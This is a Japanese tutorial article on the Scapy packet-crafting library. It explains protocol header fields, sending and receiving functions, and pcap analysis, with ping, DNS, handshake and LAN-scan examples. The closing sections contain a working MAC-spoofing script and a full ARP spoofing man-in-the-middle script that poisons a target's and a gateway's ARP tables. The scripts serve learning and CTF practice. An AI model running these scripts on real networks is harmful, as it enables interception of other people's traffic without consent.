More than 5 years have passed since last update.
Scapyとは
- 幅広い通信プロトコルに対応したパケット操作プログラム
- CTFで使える!
- ネットワークの勉強になる!
インストール
- linux
pip3 install scapy-python3
- mac
pip3 install --pre scapy
ipythonを入れると、自動補完してくれます
sudo apt install ipython
起動方法
terminalで下記のコマンドでインタラクティブ・モード使えます
sudo scapy
もしくは
sudo python3
>>> from scapy.all import *
注意
ヘッダの作り方
-
Ethernetヘッダ
Ether()
-
IPヘッダ
IP()
-
TCPヘッダ
TCP()
- ARPヘッダ
ARP()- DNSヘッダ
DNS()
パケットの作り方
- "/"で区切るだけ
Ether()/IP()/TCP()
フィールドの追加方法
2通りあります。
① 引数にフィールドを書く
② 変数にいれた後にドットで指定する
>>> icmp = ICMP(code=2) # 引数にフィールドを指定
>>> icmp.show() # パケットの中身を確認
### [ ICMP ]###
type = echo-request
code = 2
chksum = None
id = 0x0
seq = 0x0
>>> icmp = ICMP()
>>> icmp.id = 10 #ドットでフィールドを指定
>>> icmp.show() # パケットの中身を確認
### [ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0xa
seq = 0x0
フィールドを指定しなくても、デフォルトで値が入っている
>>> icmp = ICMP()
>>> icmp.show()
### [ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0x0
seq = 0x0
その他
packet.show()- packetの中身を整形して出力
packet.summary()- wiresharkでいうところのinfoフィールドの値を見ることができる
>>> ARP().summary()
'ARP who has 0.0.0.0 says 192.168.3.12'
ls(ヘッダ)- 指定したヘッダに対応しているフィールドを調べることができる
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1')
options : PacketListField = ([])
ls()- 作成できるプロトコル一覧を表示
lsc()- 関数一覧表示
dir()- 変数一覧表示
hexdump(パケット)- 作ったパケットを16進数で表示
conf.verb = 0- 「パケットを送信(受信)しました」などの、説明を非表示にする
パケットの送受信
send(packet)- レイヤ3でパケットを送信
sendp(packet)- レイヤ2でパケットを送信
sr(packet)- レイヤー3でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
sr1(packet)- レイヤ3でパケットを送信し,その応答の1つ目がレスポンスとして返ってくる
srp(packet)- レイヤー2でパケットを送信し、レスポンスが返ってくる(返答をすべて受信)
srp1(packet)- レイヤー2にでパケットを送信し、その応答の1つ目がレスポンスとして返ってくる
srflood(packet)- レイヤー3でパケットを送信し続ける
srpflood(packet)- レイヤー2でパケットを送信し続ける
send(packet,timeout=1,iface='eth0')- タイムアウト時間と送信先インターフェースを指定することができる
**pがついてる関数は、レイヤ2でパケットを送信します
また、第2引数にverbose = 0を指定すると、「送信(受信)しました」などの説明を非表示にできます。
送るたびに、書くのが面倒な場合は、conf.verb = 0**と宣言しておくと、いちいち書かなくて済む
パケット解析
Pcapファイルの読み込み
rdpcap(pcapファイル)- pcapファイルを読み込むことができる
- **
packet[n]**でn+1番目のパケットにアクセスできる
>>> packet=rdpcap("example.pcap")
>>> packet
<example.pcap: TCP:19 UDP:9 ICMP:0 Other:2>
>>> packet[0]
<Ether dst=01:00:5e:7f:ff:fa src=30:f7:72:3b:08:24 type=0x800
|<IP version=4L ihl=5L tos=0x0 len=165 id=0 flags=DF frag=0L ttl=4 proto=udp chksum=0xc2a3 src=192.168.3.2 dst=239.255.255.250 options=[]
|<UDP sport=36259 dport=1900 len=145 chksum=0xb5a8
|<Raw load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nM
wireshark(packet)- 変数packetの中身をWiresharkで表示することができる
wrpcap('sample.pcap',packet)- 変数packetの中身をsample.pcapに書き込みことができる
フィールド
ヘッダごとに、指定するフィールドをまとめてみました。
EthernetⅡヘッダ
まず,ls(ヘッダ)でどんなフィールドがあるか調べる
>>> ls(Ether)
dst : DestMACField = (None)
src : SourceMACField = (None)
type : XShortEnumField = (36864)
dst(destination)- あて先MACアドレス
src(source)- 送信元MACアドレス
type- EthernetⅡの次に続くプロトコルを2バイトで指定するフィールド
-
イーサタイプ プロトコル 0x0800 IPv4 0x86dd IPv6 0x0806 ARP 0x8035 RARP 0x8863 PPPoE(Discovery Stage) 0x8864 PPPoE(Session Stage)
ARPヘッダ
| Ethernetヘッダ | ARPヘッダ |
|---|
>>> ls(ARP)
hwtype : XShortField = (1)
ptype : XShortEnumField = (2048)
hwlen : ByteField = (6)
plen : ByteField = (4)
op : ShortEnumField = (1)
hwsrc : ARPSourceMACField = (None)
psrc : SourceIPField = (None)
hwdst : MACField = ('00:00:00:00:00:00')
pdst : IPField = ('0.0.0.0')
hwtype(hardware type)- データリンク層のプロトコルの種類を指定するフィールド
- デフォルトでは、『1(0x1)』が入ってるが、これはEthernetⅡを使うことを意味している
ptype(protocol type)- ネットワーク層のプロトコルを表すフィールド
- デフォルトでは、『2048(0x800)』という値が入り、IPが指定されている
hwlen(hardware length)- データリンク層のアドレスのサイズを表すフィールド
- デフォルトではMACアドレスのサイズである『6(0x6)』という値が指定されている
plen(protocol length)- ネットワーク層のプロトコルのアドレスのサイズを表すフィールド
- デフォルトでは、IPアドレスのサイズである『4(0x4)』が指定されている
op(opcode)- ARPで行う処理の種類を指定するフィールド
- デフォルトでは、IPアドレスをもとにMACアドレスを問い合わせるARP要求ブロードキャストを意味する『1(0x1)』が入っている
- ARP要求に対して、該当する機器がMACアドレスおよびIPアドレスを問い合わせ元に返答するARP応答ユニキャストでは『2(0x2)』が入る
hwsrc(hardware source)- ARPを送信する端末のMACアドレス
psrc(ip source)- ARPを送信する端末のIPアドレス
hwdst(hardware destination)- ARPで解決したいMACアドレス(解決したいと言っても、最初はMACアドレスを知りようがないのでダミーMACアドレスを入れる)
- デフォルトでは、ダミーMACアドレス『00:00:00:00:00:00』 が指定されている
pdst(ip destination)- ARPで解決したいIPアドレス
IPヘッダ
>>> ls(IP)
version : BitField (4 bits) = (4)
ihl : BitField (4 bits) = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField (3 bits) = (<Flag 0 ()>)
frag : BitField (13 bits) = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : SourceIPField = (None)
dst : DestIPField = (None)
options : PacketListField = ([])
version- IPのバージョンを指定するフィールド
- デフォルトではIPv4という意味の『4(0x04)』が指定されている
ihl(internet header length)- IPv4のヘッダ長を指定するフィールド
- 端末は、この値を見ることによって、どこまでがIPヘッダーであるかを知る事ができる。
- IPヘッダーの長さは基本的に20バイト(160b = 32b×5)なので『5』が入ることになります。
tos(type of service)- 通信の品質を定めているフィールド
-
TOSフィールド内の優先順位ビットの値 値 優先順位 000 標準 001 優先 010 即時 011 速報 100 優先速報 101 重大 110 インターネットワーク制御 111 ネットワーク制御 len(length)- IPパケットの全長サイズ
- IPパケットは、EthernetⅡだけでなく、ブロードバンドで利用するPPPoEやPPPなどといったレイヤ2の様々なプロトコルを使えるため、データリンクに応じてサイズを変えられるようになっている。
id(identification)- 送信するパケットを識別するための値
flags- フラグメントを指定するフィールド
- 大きなサイズのIPパケットを一度に送ることができない場合に、複数のIPパケットに分割したり結合したりする機能のこと(3bitで構成されている)
-
Reservedビット- 未使用で必ず『0』になる
-
DF(Don't Fragment)- 『0』‥分割可
- 『1』‥分割不可
-
MF(More Fragments)- 『0』‥最後のパケット
- 『1』‥途中のパケット
flag- フラグメントオフセット
- 元のデータの何バイト目からのデータなのかを示している(1番目のパケットであれば『0』)
ttl(time to live)- IPパケットの寿命
- ルータなどの中継装置を通過するたびに、1ずつ減算されていく
proto(protocol)- IPの次のレイヤのヘッダを1バイトで表す
-
主なプロトコル番号とカプセル化されるプロトコル プロトコル番号 プロトコル 1 ICMP 6 TCP 17 UDP 50 ESP chksum(checksum)- IPヘッダの内容を確認し、ヘッダに誤りがないかチェックする
src(source)- 送信元IPアドレス
dst(destination)- あて先IPアドレス
options- 特別な設定をするときに使う
sport(source port)- 送信元ポート番号
dport(destination port)- あて先ポート番号
seq(sequence)- パケットの順序番号
ack(acknowledgement)dataofs(data offset)- TCPヘッダの長さ
reserved- このフィールドは将来の拡張のために用意されていて、通常はすべて「0」がセットされる
flags- コネクションの状態を制御するフィールド
- 初期値はすべて『0』で、値が『1』の場合にそれぞれのフラグが有効となる
CWRECE-
URG(URGENT)- 緊急を表すフラグ
-
ACK(ACKNOWLEDGEMENT)- 確認応答を表すフラグ
-
PSH(PUSH)- 速やかにアプリケーションにデータを渡すフラグ
-
RST(RESET)- コネクションを強制切断するフラグ
-
SYN(SYNCHRONIZE)- コネクションを開始するフラグ
-
FIN(FINISH)- コネクションを終了するフラグ
windowchksum(checksum)- TCPセグメントのエラー確認
urgptr(urgent pointer)- コントロールビットの URG フラグが『1』になっている時にだけ、緊急データを示す最後のバイトのシーケンス番号がセットされる
options- 特別な設定をするためのフィールド
sport(source port)- 送信元ポート番号
dport(destination port)- あて先ポート番号
len(length)- UDPデータグラムのサイズ
chksum(checksum)- 受け取ったデータグラムが壊れていないか、整合性のテェックに使用される16bitのフィールド
type- 0 → エコー応答(Echo Reply)
- 3 → 宛先到達不能(Destination Unreachable)
- 4 → 転送抑制支持(Souce Quench)
- 5 → 最適経路通知(Redirect)
- 8 → Echo要求(Echo Request)
- 9 → ルータ通知(Router Advertisement)
- 10 → ルータ選択(Router Selection)
- 11 → 時間超過によるパケット破棄(Time Exceeded)
- 12 → 誤ったパラメータによるエラー
- 13 → タイムスタンプ要求
- 14 → タイムスタンプ応答
code- 0‥ネットワーク到達不能
- 1‥ホストへ到達不能
- 2‥そのプロトコルは使用できない
- 3‥対象ポートが閉じている
- 4‥IPパケット分割不可
- 5..指定された経路で通信できない
chksum(checksum)- エラーチェックを行うためのフィールド
id(identification)- ICMPメッセージが複数ある場合に、それぞれを区別するために用紙された識別フィールド
seq(sequence)- 連続してpingを送信する際に、それぞれのpingを区別するための順序番号
ts_ori(timestamp original)- 開始タイムスタンプ
ts_rx(timestamp)- 受信タイムスタンプ
ts_tx(timestamp)- 送信タイムスタンプ
gw(gateway)- ゲートウェイアドレス
ptr(pointer)reserved- 予約ビット
lengthaddr_masknexthopmtuid(identification)- 問い合わせを区別する識別子
- クエリ要求とクエリ応答で共通の値になる
qr(query/response)- 問い合わせ/応答フラグ
- 0‥クエリ要求
- 1‥クエリ応答
opcode(operation code)- 問い合わせの種類
- 0‥正引き
- 1‥逆引き
- 2‥サーバの状態を要求する問い合わせ
aa(authoritative answer)- そのドメインに対するコンテンツサーバーかどうかを表す
- 0‥オーソリティあり
- 1‥オーソリティなし
tc(truncation)- 切り捨て
- 0‥データが512バイト未満
- 1‥データが512バイト異常
rd(recursion desired)- 再帰要望
- 0‥反復問い合わせ(フルサービスリゾルバ→コンテンツサーバ)
- 1‥再帰問い合わせ(スタブリゾルバ→フルサービスリゾルバ)
ra(recursion available)- 再帰有効
- 0‥再帰不可(コンテンツサーバ)
- 1‥再帰可能(フルサービスリゾルバ)
z- 将来的な拡張用。ゼロが入る
ad- DNSSEC検証に成功したことを示す(応答)/応答のADビットを理解できることを示す(問い合わせ)
cd- DNSSEC検証の禁止
rcode(response code)- 応答コード
- 0‥正常応答
- 1..フォーマットエラー(DNSサーバーがそのクエリを理解できなかった)
- 2..サーバー障害(DNSサーバがそのクエリを処理できなかった)
- 3..名前エラー(そのクエリのドメイン名が存在しなかった)
- 4..未実装(そのクエリをサポートしていなかった)
- 5..拒否(ポリシーによって拒否した)
- 6~15..将来のために予約
qdcount- 問い合わせ(Question)セクションの数で、常に1
- クライアントが指定する。
ancount- 応答(Answer)セクションのリソースレコード(RR)数
- サーバが指定する。
nscount- 委任情報(Authority)セクションのRR数
- サーバが指定する
arcount- 付加情報(Additional)セクションのRR数
- サーバが指定する。
qdan/ns/ar
TCPヘッダ
| Ethernetヘッダ | IPヘッダ | TCPヘッダ |
|---|
>>> ls(TCP)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField (4 bits) = (None)
reserved : BitField (3 bits) = (0)
flags : FlagsField (9 bits) = (<Flag 2 (S)>)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ([])
UDPヘッダ
| Ethernetヘッダ | IPヘッダ | UDPヘッダ |
|---|
>>> ls(UDP)
sport : ShortEnumField = (53)
dport : ShortEnumField = (53)
len : ShortField = (None)
chksum : XShortField = (None)
ICMPヘッダ
| Ethernetヘッダ | IPヘッダ | ICMPヘッダ |
|---|
>>> ls(ICMP)
type : ByteEnumField = (8)
code : MultiEnumField (Depends on type) = (0)
chksum : XShortField = (None)
id : XShortField (Cond) = (0)
seq : XShortField (Cond) = (0)
ts_ori : ICMPTimeStampField (Cond) = (46455505)
ts_rx : ICMPTimeStampField (Cond) = (46455505)
ts_tx : ICMPTimeStampField (Cond) = (46455505)
gw : IPField (Cond) = ('0.0.0.0')
ptr : ByteField (Cond) = (0)
reserved : ByteField (Cond) = (0)
length : ByteField (Cond) = (0)
addr_mask : IPField (Cond) = ('0.0.0.0')
nexthopmtu : ShortField (Cond) = (0)
unused : ShortField (Cond) = (0)
unused : IntField (Cond) = (0)
DNSヘッダ
ゾーン転送はTCP53番ポート
| Ethernetヘッダ | IPヘッダ | TCPヘッダ | DNSヘッダ |
|---|
名前解決はUDP53番ポート
| Ethernetヘッダ | IPヘッダ | UDPヘッダ | DNSヘッダ |
|---|
>>> ls(DNS)
id : ShortField = (0)
qr : BitField (1 bit) = (0)
opcode : BitEnumField (4 bits) = (0)
aa : BitField (1 bit) = (0)
tc : BitField (1 bit) = (0)
rd : BitField (1 bit) = (1)
ra : BitField (1 bit) = (0)
z : BitField (1 bit) = (0)
ad : BitField (1 bit) = (0)
cd : BitField (1 bit) = (0)
rcode : BitEnumField (4 bits) = (0)
qdcount : DNSRRCountField = (None)
ancount : DNSRRCountField = (None)
nscount : DNSRRCountField = (None)
arcount : DNSRRCountField = (None)
qd : DNSQRField = (None)
an : DNSRRField = (None)
ns : DNSRRField = (None)
ar : DNSRRField = (None)
qdは、DNSサーバに対する質問がセットされるセクション
| フィールド | 内容 |
|---|---|
| qname | 問い合わせるドメイン名 |
| qtype | 問い合わせの種類 |
| A:ホストアドレス | |
| NS:コンテンツサーバ | |
| CNAME:別名 | |
| SOA:管理情報 | |
| PTR:IPアドレス | |
| MX:メールサーバー | |
| TXT:コメント | |
| AXFR:ゾーン転送要求 | |
| qclass | 問い合わせのクラスを表す |
| IN:インターネット |
これら3つのセクションには、ゾーンファイルを構成するリソースレコードの情報がセットされ、
基本的には同じメッセージフォーマットが適用される。
anは、質問したタイプに対する回答リソースレコードがセットされるセクション
nsは、質問したドメイン名に対してオーソリティを持つサーバのレコードが入る(通常はNS)
ar、は付加情報がセットされるセクション
ほとんどの場合、nsセクションで指定されたコンテンツサーバのIPアドレスがセットされる
問い合わせの場合は、回答・オーソリティ・追加の数は『0』
応答の場合は、問い合わせの『質問の数』がそのまま応答に入る
| フィールド | 内容 |
|---|---|
| rrname | 対象となるドメイン名 |
| type | 問い合わせの種類を表す |
| A:ホストアドレス | |
| NS:コンテンツサーバ | |
| CNAME:別名 | |
| SOA:管理情報 | |
| PTR:IPアドレス | |
| MX:メールサーバー | |
| TXT:コメント | |
| rclass | 問い合わせのクラスを表す |
| IN:インターネット | |
| ttl | リソースレコードの生存時間(秒) |
| rdlen | リソースレコードの長さ(バイト) |
| rdata | リソースレコードの情報 |
実装編
これまでの知識を応用して、実際にパケットを作ってみたいと思います
pingを作る
googleにpingを放つコードを書いてみます
ちゃんとpingが打ててるか確認するために、戻り値を表示します
from scapy.all import *
ping = IP(dst="www.google.com")/ICMP()
ans = sr1(ping)
ans.show()
216.58.199.228(google) ⇒ 192.168.3.12にちゃんとpingが返って来ている
### [ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 28
id = 0
flags =
frag = 0
ttl = 55
proto = icmp
chksum = 0x200e
src = 216.58.199.228
dst = 192.168.3.12
\options \
### [ ICMP ]###
type = echo-reply
code = 0
chksum = 0x0
id = 0x0
seq = 0x0
ARP要求
特定のIPアドレスのMACアドレスを得るためのARP要求を行うコードを書いてみます。
ARPはLAN内で行うので、レイヤー2に送る**srp1**関数を使います
from scapy.all import *
arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.2")
res = srp1(arp)
res.show()
hwsrcを見ると、ちゃんとMACアドレスが返って来てるのがわかる
### [ Ethernet ]###
dst = 08:00:27:95:8c:5e
src = 68:ec:c5:d2:43:3f
type = 0x806
### [ ARP ]###
hwtype = 0x1
ptype = 0x800
hwlen = 6
plen = 4
op = is-at
hwsrc = 68:ec:c5:d2:43:3f
psrc = 192.168.3.2
hwdst = 08:00:27:95:8c:5e
pdst = 192.168.3.12
名前解決
googleの名前解決をしてみたいと思います。
DNSパケットの構造は**IP()/UDP()/DNS()**です。
IPパケットのあて先は、Google Public DNS(8.8.8.8)にしました。
from scapy.all import *
answer = sr1(IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(qname="www.google.com")),verbose=0)
print answer[DNS].summary()
DNS Ans "172.217.26.4"
3-way-handshake
youtubeと3-way-handshakeしたいと思います。下図の通り①のseq番号は何でもいいです
また、sportはランダムで、dportはhttpsなので、443です。
👁 Image
from scapy.all import *
import random
conf.verb = 0
sport = random.randint(1024,65535)
seq = random.randint(0,1000)
ip = IP(dst='www.youtube.com')
SYN = TCP(sport=sport,dport=443,flags='S',seq=seq) # ①
SYNACK = sr1(ip/SYN) # ②
ACK = TCP(sport=sport, dport=443, flags='A', seq=SYNACK.ack , ack=SYNACK.seq + 1) # ③
send(ip/ACK)
LAN内のMACアドレスとIPアドレスを調べる
ARPは宛先IPアドレスに指定したMACアドレスを教えてくれる
from scapy.all import *
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.3.0/24"),timeout=2)
ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )
"""
xx:xx:xx:xx:xx:xx 192.168.3.2
xx:xx:xx:xx:xx:xx 192.168.3.1
xx:xx:xx:xx:xx:xx 192.168.3.6
xx:xx:xx:xx:xx:xx 192.168.3.4
"""
なお、上のスクリプトは**arping("192.168.3.*")**という組み込み関数を使えば一発でできる。
MACアドレスの偽装
ARPパケットを受信したノードは、送信元MACアドレスを元に、ARPテーブルを作っているので、そこを任意のものにすれば良い
from scapy.all import *
target_mac = raw_input("target_mac >>")
fake_mac_addr = raw_input("fake_mac_addr >>")
eth = Ether(dst=target_mac)
arp = ARP()
arp.op = 2 #ARP応答
arp.hwsrc = fake_mac_addr
arp.hwdst = target_mac
frame = eth/arp
sendp(frame)
ARP Spoofing
『ARP要求とARP応答は認証がないので、偽のMACアドレスのARP応答を送ると、受信側はそのリクエストを受け付けてしまう』という仕組みを利用して、arpテーブルを書き換えて、通信を『target ⇄ 攻撃者 ⇄ gateway』のようにする
# coding:utf-8
from scapy.all import *
import sys
import subprocess
import os
# IPパケット転送機能をONにする
print "[*] Enabling IP Forwarding...\n"
if os.name == 'nt':
command = ["echo 1 > /proc/sys/net/ipv4/ip_forward"]
subprocess.call(command,shell=True)
elif os.name == 'posix':
command = ["sysctl -w net.inet.ip.forwarding = 1"]
subprocess.call(command,shell=True)
else:
print("error")
sys.exit()
conf.verb = 0
target_ip = raw_input("target_ip >> ")
target_mac = raw_input("target_mac >> ")
gateway_ip = raw_input("gateway_ip >> ")
gateway_mac = raw_input("gateway_mac >> ")
fake_mac_addr = raw_input("fake_mac_addr >> ")
def main():
try:
print "[*] Start ARP_spoofing...[CTRL-C to stop]"
poison_target(target_ip,target_mac,gateway_ip,gateway_mac)
except KeyboardInterrupt:
pass
finally:
restore_table(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
def poison_target(target_ip,target_mac,gateway_ip,gateway_mac):
# ARP応答
poisoning_target = Ether(dst=target_mac)/ARP()
poisoning_target.op = 2 # ARP応答ユニキャスト
poisoning_target.psrc = gateway_ip # あて先IPにゲートウェイのアドレス
poisoning_target.pdst = target_ip # 通信相手のIPアドレス
poisoning_gateway = Ether(dst=gateway_mac)/ARP()
poisoning_gateway.op = 2
poisoning_gateway.psrc = target_ip
poisoning_gateway.pdst = gateway_ip
# MACアドレス偽装
frame = Ether(dst = target_mac)/ARP(op=2,hwsrc = fake_mac_addr,hwdst = target_mac)
while True:
sendp(poisoning_target)
sendp(poisoning_gateway)
sendp(frame)
print "[*] Finished."
return
def restore_table(gateway_ip,gateway_mac,target_ip,target_mac):
print "[*] Restoring target."
arp = ARP()
arp.op = 1 # ARP要求ブロードキャスト
arp.psrc = gateway_ip # ARP要求を行った送信元IPアドレス
arp.hwsrc = gateway_mac # 送信元MAC
arp.pdst = target_ip # あて先IPアドレス
arp.hwdst = target_mac # あて先MACアドレス
send(arp, count = 3)
print "Disabling IP Forwading...\n"
if os.name == 'nt':
command = "echo 0 > /proc/sys/net/ipv4/ip_forward"
subprocess.call(command,shell=True)
elif os.name == 'posix':
command = "sysctl -w net.inet.ip.forwarding = 0"
subprocess.call(command,shell=True)
if __name__ == "__main__":
main()
MACアドレスを偽装しているのは、targetのarpテーブルに、攻撃者のMACアドレスが2つ存在してしまうのを防ぐため
総評
Scapyに無限の可能性を感じた。
普段使っているプロトコルの仕組みや、wiresharkの通信を見て何をやってるのかがわかるようになったので、まとめてよかった。
参考
公式ドキュメント
サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考
パケットキャプチャ入門 第3版 (LANアナライザWireshark活用術)
3分間DNS基礎講座
パケットキャプチャの教科書
Register as a new user and use Qiita more conveniently
- You get articles that match your needs
- You can efficiently read back useful information
- You can use dark theme
